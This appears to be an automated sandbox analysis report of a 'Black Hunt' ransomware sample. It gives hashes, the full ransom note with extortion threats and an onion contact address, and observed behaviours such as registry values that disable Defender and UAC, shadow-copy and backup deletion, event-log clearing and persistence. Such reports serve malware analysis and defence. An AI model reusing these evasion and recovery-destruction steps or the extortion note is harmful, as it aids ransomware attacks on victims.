a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571

Analysis

max time kernel
122s
max time network
134s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
19/01/2024, 00:23

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General

Target

a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe
Size

707KB
MD5

6ad6daa09ffa68451e59a799f4011139
SHA1

411e3d7d36ae8fc470a3db1fafd765250046ff55
SHA256

a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571
SHA512

222c7e1337a725b1b6ba0461679193957b86ab01bebae8cad38b6d14a0354023aa0804424872d8490c61c0431f3478549e38c17d6069e8bc8741ed64d9d83c3e
SSDEEP

6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1a8Jvnh:6uaTmkZJ+naie5OTamgEoKxLWBth

Score

10^/10

evasion persistence ransomware trojan

Malware Config

Extracted

Path

C:\ProgramData\#BlackHunt_ReadMe.hta

Ransom Note

<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQy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 " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> DWvW1B5Vd4KYXDEq </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>

Emails

[email protected]

URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

Deletes NTFS Change Journal 2 TTPs 2 IoCs

The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

ransomware

Inhibit System Recovery

T1490

Data Destruction

T1485

pid	Process
1096	fsutil.exe
2580	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe

Clears Windows event logs 1 TTPs 5 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
2328	wevtutil.exe
1776	wevtutil.exe
2188	wevtutil.exe
1356	wevtutil.exe
544	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
2628	bcdedit.exe
2828	bcdedit.exe
2984	bcdedit.exe
1192	bcdedit.exe

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2712	wbadmin.exe
1080	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Deletes itself 1 IoCs

pid	Process
1468	cmd.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe

Enumerates connected drives 3 TTPs 26 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\B:	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe
File opened (read-only)	\??\W:	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe
File opened (read-only)	\??\U:	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe
File opened (read-only)	\??\X:	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe
File opened (read-only)	\??\L:	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe
File opened (read-only)	\??\A:	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe
File opened (read-only)	\??\S:	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\Q:	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe
File opened (read-only)	\??\I:	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe
File opened (read-only)	\??\O:	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe
File opened (read-only)	\??\K:	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe
File opened (read-only)	\??\P:	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe
File opened (read-only)	\??\H:	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe
File opened (read-only)	\??\Z:	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe
File opened (read-only)	\??\M:	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\E:	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe
File opened (read-only)	\??\J:	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe
File opened (read-only)	\??\N:	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe
File opened (read-only)	\??\G:	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe
File opened (read-only)	\??\V:	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe
File opened (read-only)	\??\M:	fsutil.exe
File opened (read-only)	\??\R:	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe
File opened (read-only)	\??\T:	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe
File opened (read-only)	\??\Y:	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ip-api.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg"	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\LayeredTitles\#BlackHunt_Private.key	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe
File created	C:\Program Files\Google\#BlackHunt_ReadMe.txt	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe
File created	C:\Program Files\DVD Maker\es-ES\#BlackHunt_Private.key	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe
File created	C:\Program Files\DVD Maker\ja-JP\#BlackHunt_ReadMe.hta	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\HueCycle\#BlackHunt_Private.key	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe
File created	C:\Program Files\Java\#BlackHunt_ReadMe.hta	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe
File created	C:\Program Files\7-Zip\#BlackHunt_ReadMe.txt	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\#BlackHunt_ReadMe.hta	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\LayeredTitles\#BlackHunt_ReadMe.hta	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\#BlackHunt_ReadMe.txt	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe
File created	C:\Program Files\7-Zip\Lang\#BlackHunt_Private.key	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe
File created	C:\Program Files\DVD Maker\en-US\#BlackHunt_Private.key	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\FlipPage\#BlackHunt_Private.key	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe
File created	C:\Program Files\7-Zip\Lang\#BlackHunt_ReadMe.txt	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\#BlackHunt_Private.key	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\Memories\#BlackHunt_ReadMe.txt	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\Memories\#BlackHunt_ReadMe.hta	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\#BlackHunt_ReadMe.hta	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\#BlackHunt_ReadMe.txt	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe
File created	C:\Program Files\7-Zip\#BlackHunt_ReadMe.hta	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe
File created	C:\Program Files\DVD Maker\ja-JP\#BlackHunt_Private.key	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\Full\#BlackHunt_ReadMe.hta	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\#BlackHunt_Private.key	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\Push\#BlackHunt_ReadMe.txt	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe
File created	C:\Program Files\DVD Maker\es-ES\#BlackHunt_ReadMe.txt	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\#BlackHunt_ReadMe.hta	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe
